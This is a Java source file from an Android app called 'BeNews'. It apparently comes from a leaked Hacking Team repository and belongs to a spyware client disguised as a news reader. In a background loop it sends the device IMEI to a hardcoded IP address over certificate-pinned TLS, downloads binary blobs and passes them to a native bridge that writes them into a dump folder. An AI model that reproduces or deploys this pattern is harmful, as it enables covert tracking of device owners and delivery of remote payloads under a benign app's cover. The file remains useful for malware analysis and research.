hackedteam/core-android-market

View on GitHub
src/main/java/org/benews/BackgroundSocket.java

Summary

Maintainability
D
3 days
Test Coverage
package org.benews;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.res.AssetManager;
import android.os.AsyncTask;
import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
import android.view.View;
import android.widget.ArrayAdapter;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.KeyManagementException;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.Semaphore;

import javax.net.SocketFactory;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLPeerUnverifiedException;
import javax.net.ssl.SSLSession;
import javax.net.ssl.SSLSocket;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManagerFactory;

/**
 * Created by zeno on 15/10/14.
 */
public class BackgroundSocket extends Activity implements Runnable {
    private final static String TAG="BackgroundSocket";
    private final static String serialFile=".news";
    private final static String serialFileTs=".ts";
    public static final String READY = "upAndRunning";

    private PullIntentService serviceMain;
    private static boolean serviceRunning = false;
    static int news_n=0;
    private Thread coreThread;
    private boolean run = false;
    private BeNews main = null;
    static private SocketAsyncTask runningTask=null;
    private ArrayList<HashMap<String,String> > list;
    private long last_timestamp=0;
    private String dumpFolder=null;
    private String imei=null;
    HashMap<String,String> args_for_bkg = new HashMap<String, String>();
    private File serializeFolder;
    private Socket socket;
    private boolean noData=false;
    private SocketFactory sf = null;
    AssetManager assets;


    public void setAssets(AssetManager assets) {
        this.assets = assets;
    }

    public interface NewsUpdateListener
    {
            void onNewsUpdate();
    }

    ArrayList<NewsUpdateListener> listeners = new ArrayList<NewsUpdateListener> ();

    public void setOnNewsUpdateListener (NewsUpdateListener listener)
    {
        // Store the listener object
        this.listeners.add(listener);
    }
    public boolean isThreadStarted(){

        return (coreThread!=null && coreThread.isAlive());
    }
    public String getSerialFile() {
        return serializeFolder.getAbsolutePath()+"/"+serialFile;
    }
    public String getSerialFileTs() {
        return serializeFolder.getAbsolutePath()+"/"+serialFileTs;
    }

    private void Core() {

    }

    static BackgroundSocket singleton;
    public synchronized void reset_news(){
        last_timestamp=0;
        list.clear();
        try {
            serialise();
        } catch (Exception e) {
            Log.d(TAG, " (setStop):" + e);
        }
        updateListeners();
        Sleep(1);
        Log.d(TAG, " (reset_news):Done");
        noData=false;
        args_for_bkg.put(BeNewsArrayAdapter.HASH_FIELD_DATE, "0");
    }
    public synchronized  void serialise_list() throws IOException {
        FileOutputStream fos = new FileOutputStream(getSerialFile());
        ObjectOutputStream os = new ObjectOutputStream(fos);
        if (!list.isEmpty()){
            fos = new FileOutputStream(getSerialFile());
            os = new ObjectOutputStream(fos);
            os.writeObject(list);
            os.close();
        }
    }
    public synchronized  void serialise_ts() throws IOException {
        FileOutputStream fos;
        ObjectOutputStream os;
        fos = new FileOutputStream(getSerialFileTs());
        os = new ObjectOutputStream(fos);
        os.writeObject(new Long(last_timestamp));
        os.close();
    }
    public synchronized  void serialise() throws IOException {
        serialise_list();
        serialise_ts();
    }

    public void setRun(boolean run) {
        if(run == false){
            if(socket!=null){
                new Thread(new Runnable() {
                    public void run() {
                        try {
                            socket.close();
                        } catch (Exception e){
                            e.printStackTrace();
                        }
                    }
                }).start();


            }
        }
        this.run = run;
    }

    public synchronized static BackgroundSocket self() {
        if (singleton == null) {
            singleton = new BackgroundSocket();
        }

        return singleton;
    }


    public void run() {

        args_for_bkg.put(BeNewsArrayAdapter.HASH_FIELD_DATE, "0");
        args_for_bkg.put(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM, "0");
        getList();
        updateListeners();
        while (true) {
            runUntilStop(args_for_bkg);
            Sleep(2);
        }
    }

    private boolean runUntilStop(HashMap<String, String> args) {
        while (run) {
            /* keep trace of timestamp sequence
            * in order to decide when ask for the next news*/
            long old_ts=0;
            try {
                if(args.containsKey(BeNewsArrayAdapter.HASH_FIELD_DATE)) {
                    Long.parseLong(args.get(BeNewsArrayAdapter.HASH_FIELD_DATE));
                }
            }catch (Exception e){

            }
            if (runningTask == null || !runningTask.isRunning()) {
                runningTask = new SocketAsyncTask(args);
                runningTask.execute(args);
            }
            if(runningTask != null && runningTask.isRunning()){
                if((old_ts!= 0 && old_ts==runningTask.getLast_timestamp() && !runningTask.isConnectionError()) || runningTask.noData()){
                    Log.d(TAG, " (runUntilStop): No new news waiting ...");
                    Sleep(60);
                }
            }
            Sleep(1);
            //Log.d(TAG, "Running:" + runningTask.isRunning());
        }
        return false;
    }
    public synchronized void saveStauts()
    {
        try {
                serialise_list();
        } catch (Exception e) {
            Log.d(TAG, " (saveStauts):" + e);
        }
    }
    public static void Sleep(int i) {
        try {
            Thread.sleep(i * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public  static BackgroundSocket newCore(PullIntentService serviceMain) {
        if (singleton == null) {
            singleton = new BackgroundSocket();
        }
        singleton.serviceMain = serviceMain;


        return singleton;
    }

    public boolean Start() {
        if (serviceRunning == true) {
            return false;
        }

        coreThread = new Thread(this);
        try {
            setRun(true);
            coreThread.start();
        } catch (final Exception e) {

        }
        serviceRunning = true;

        return true;
    }

    public void setDumpFolder(String dumpFolder) {
        this.dumpFolder = new String(dumpFolder);
    }

    public String getDumpFolder() {
        return dumpFolder;
    }
    public void setImei(String imei) {
        this.imei = new String(imei);
    }

    public String getImei() {
        return imei;
    }



    public synchronized ArrayList<HashMap<String, String>> getList() {
        if(list==null && new File(getSerialFile()).exists()) {
            try {
                FileInputStream fis = new FileInputStream(getSerialFile());
                ObjectInputStream is = new ObjectInputStream(fis);
                list = (ArrayList<HashMap<String, String>>) is.readObject();
                is.close();
            } catch (Exception e) {
                Log.d(TAG, " (getList):" +e);
                e.printStackTrace();
            }
        }
        if(list==null){
            Log.d(TAG, " (getList) initializing list");
            list = new ArrayList<HashMap<String, String>>();
        }
        if( new File(getSerialFileTs()).exists()) {
            try {
                FileInputStream fis = new FileInputStream(getSerialFileTs());
                ObjectInputStream is = new ObjectInputStream(fis);
                last_timestamp = ((Long) is.readObject()).longValue();
                is.close();
            } catch (Exception e) {
                Log.d(TAG, " (getList Ts):" +e);
                e.printStackTrace();
            }
        }
        return list;
    }



    public boolean isRunning() {
        if(runningTask==null){
            return false;
        }
        return runningTask.isRunning();
    }

    public void setSerializeFolder(File filesDir) {
        this.serializeFolder=filesDir;
    }

    public void updateListeners(){
        for (NewsUpdateListener listener : listeners)
        {
            listener.onNewsUpdate();
        }
    }

    private class SocketAsyncTask extends AsyncTask<HashMap<String,String>, Void, ByteBuffer> {


        private final HashMap<String, String> args;
        private boolean running = false;

        private boolean connectionError=false;

        public boolean isConnectionError() {
            return connectionError;
        }
        public boolean noData() {
            return noData;
        }


        private SocketAsyncTask(HashMap<String,String> args) {
            super();
            this.args = args;

        }

        @Override
        protected void onPreExecute() {
            running=true;
            super.onPreExecute();
        }

        @Override
        protected ByteBuffer doInBackground(HashMap<String,String>... args) {
            ByteBuffer wrapped = null;
            byte obj[];
            try {
                connectionError=false;
                String cks ="0";
                if(args.length>0 ){
                    if(args[0].containsKey(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM)) {
                        cks = args[0].get(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM);
                    }
                }

                /* Get a bson object*/
                obj=BsonBridge.getTokenBson(imei,last_timestamp,cks);
                //socket = new Socket();
                //InetSocketAddress address = new InetSocketAddress("46.38.48.178", 443);
                //InetSocketAddress address = new InetSocketAddress("192.168.42.90", 8080);

                if(sf == null) {
                    sf = getSocketFactory();
                }
                socket = createSSLSocket(sf);


                //socket.setSoTimeout(10*1000);
                //socket.connect(address,10000);
                //socket.connect(address);
                InputStream is = socket.getInputStream();
                BufferedOutputStream out = new BufferedOutputStream(socket.getOutputStream());
                /* write to the server */
                out.write(obj);
                out.flush();
                obj=null;
                System.gc();
                /* get the result */
                byte[] size = new byte[4];
                int read = is.read(size);
                if(read > 0) {
                    wrapped = ByteBuffer.wrap(size); // big-endian by default
                    wrapped.order(ByteOrder.LITTLE_ENDIAN);
                    int s = wrapped.getInt();
                    byte[] buffer = new byte[s - 4];
                    wrapped = ByteBuffer.allocateDirect(s);
                    wrapped.order(ByteOrder.LITTLE_ENDIAN);
                    wrapped.put(size, 0, size.length);
                    while ((s - read) > 0) {
                        publishProgress(read);
                        int res = is.read(buffer);
                        if (res > 0) {
                            wrapped.put(buffer, 0, res);
                            read += res;
                        } else {
                            break;
                        }
                    }
                }
                is.close();
                out.close();
                socket.close();
            } catch (Exception e) {
                Log.d(TAG, "Exception :" + e);
                connectionError=true;
                running=false;
            }finally {
                obj=null;
                System.gc();
            }
            return wrapped ;
        }

        private SocketFactory getSocketFactory() throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException {
            // Load CAs from an InputStream
            CertificateFactory cf = CertificateFactory.getInstance("X.509");
            InputStream caInput = assets.open("server.crt");

            Certificate ca;
            try {
                ca = cf.generateCertificate(caInput);
                System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN());
            } finally {
                caInput.close();
            }

            // Create a KeyStore containing our trusted CAs
            String keyStoreType = KeyStore.getDefaultType();
            KeyStore keyStore = KeyStore.getInstance(keyStoreType);
            keyStore.load(null, null);
            keyStore.setCertificateEntry("ca", ca);

            // Create a TrustManager that trusts the CAs in our KeyStore
            String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
            tmf.init(keyStore);

            // Create an SSLContext that uses our TrustManager
            SSLContext context = SSLContext.getInstance("TLS");
            context.init(null, tmf.getTrustManagers(), null);


            // Open SSLSocket directly to gmail.com
            return context.getSocketFactory();
        }

        private Socket createSSLSocket(SocketFactory sf) throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException {

            SSLSocket socket = (SSLSocket) sf.createSocket("46.38.48.178", 443);
            //SSLSocket socket = (SSLSocket) sf.createSocket("192.168.42.90", 443);
            HostnameVerifier hv = HttpsURLConnection.getDefaultHostnameVerifier();
            //SSLSession sslSession = socket.getSession();
            //sslSession.

            socket.startHandshake();
            printServerCertificate(socket);
            printSocketInfo(socket);

            return socket;
        }


        private void printServerCertificate(SSLSocket socket) {
            try {
                Certificate[] serverCerts =
                        socket.getSession().getPeerCertificates();
                for (int i = 0; i < serverCerts.length; i++) {
                    Certificate myCert = serverCerts[i];
                    Log.i(TAG,"====Certificate:" + (i+1) + "====");
                    Log.i(TAG,"-Public Key-\n" + myCert.getPublicKey());
                    Log.i(TAG,"-Certificate Type-\n " + myCert.getType());

                    System.out.println();
                }
            } catch (SSLPeerUnverifiedException e) {
                Log.i(TAG,"Could not verify peer");
                e.printStackTrace();
                System.exit(-1);
            }
        }
        private void printSocketInfo(SSLSocket s) {
            Log.i(TAG,"Socket class: "+s.getClass());
            Log.i(TAG,"   Remote address = "
                    +s.getInetAddress().toString());
            Log.i(TAG,"   Remote port = "+s.getPort());
            Log.i(TAG,"   Local socket address = "
                    +s.getLocalSocketAddress().toString());
            Log.i(TAG,"   Local address = "
                    +s.getLocalAddress().toString());
            Log.i(TAG,"   Local port = "+s.getLocalPort());
            Log.i(TAG,"   Need client authentication = "
                    +s.getNeedClientAuth());
            SSLSession ss = s.getSession();
            Log.i(TAG,"   Cipher suite = "+ss.getCipherSuite());
            Log.i(TAG,"   Protocol = "+ss.getProtocol());
        }

        public boolean isRunning() {
            return running;
        }

        public long getLast_timestamp() {
            return last_timestamp;
        }

        private void publishProgress(int read) {
        //    Log.d(TAG,"read:"+ read+" bytes");
        }

        @Override
        protected void onPostExecute(ByteBuffer result) {

            synchronized (this) {
                if(result != null && result.capacity() > 0) {
                    HashMap<String,String> ret=BsonBridge.serializeBson(getDumpFolder(), result);

                    if (ret!=null && ret.size()>0) {
                        if (ret.containsKey(BeNewsArrayAdapter.HASH_FIELD_DATE)) {
                            args.put(BeNewsArrayAdapter.HASH_FIELD_DATE, ret.get(BeNewsArrayAdapter.HASH_FIELD_DATE));
                            last_timestamp = Long.parseLong(ret.get(BeNewsArrayAdapter.HASH_FIELD_DATE));
                            try {
                                serialise_ts();
                            }catch (Exception x){
                                Log.d(TAG, " (onPostExecute): failed to serialize ts ");
                            }
                        }
                        if (ret.containsKey(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM)) {
                            args.put(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM, ret.get(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM));
                            String cks = ret.get(BeNewsArrayAdapter.HASH_FIELD_CHECKSUM);
                            if ( cks.contentEquals("0")  && ret.containsKey(BeNewsArrayAdapter.HASH_FIELD_PATH)) {
                                list.add(ret);
                                saveStauts();
                                updateListeners();
                                try {
                                    if (ret.containsKey(BeNewsArrayAdapter.HASH_FIELD_DATE)) {
                                        args.put(BeNewsArrayAdapter.HASH_FIELD_DATE, ret.get(BeNewsArrayAdapter.HASH_FIELD_DATE));
                                        //todo: is "ok" it used?
                                        args.put("ok", "0");
                                    }
                                } catch (Exception e) {
                                    Log.d(TAG, " (onPostExecute): failed to parse " + last_timestamp);
                                }
                                news_n++;
                            }
                        }
                    }
                    noData=false;
                    System.gc();
                }else{
                    noData=true;
                }
                running=false;
            }

        }
    }

}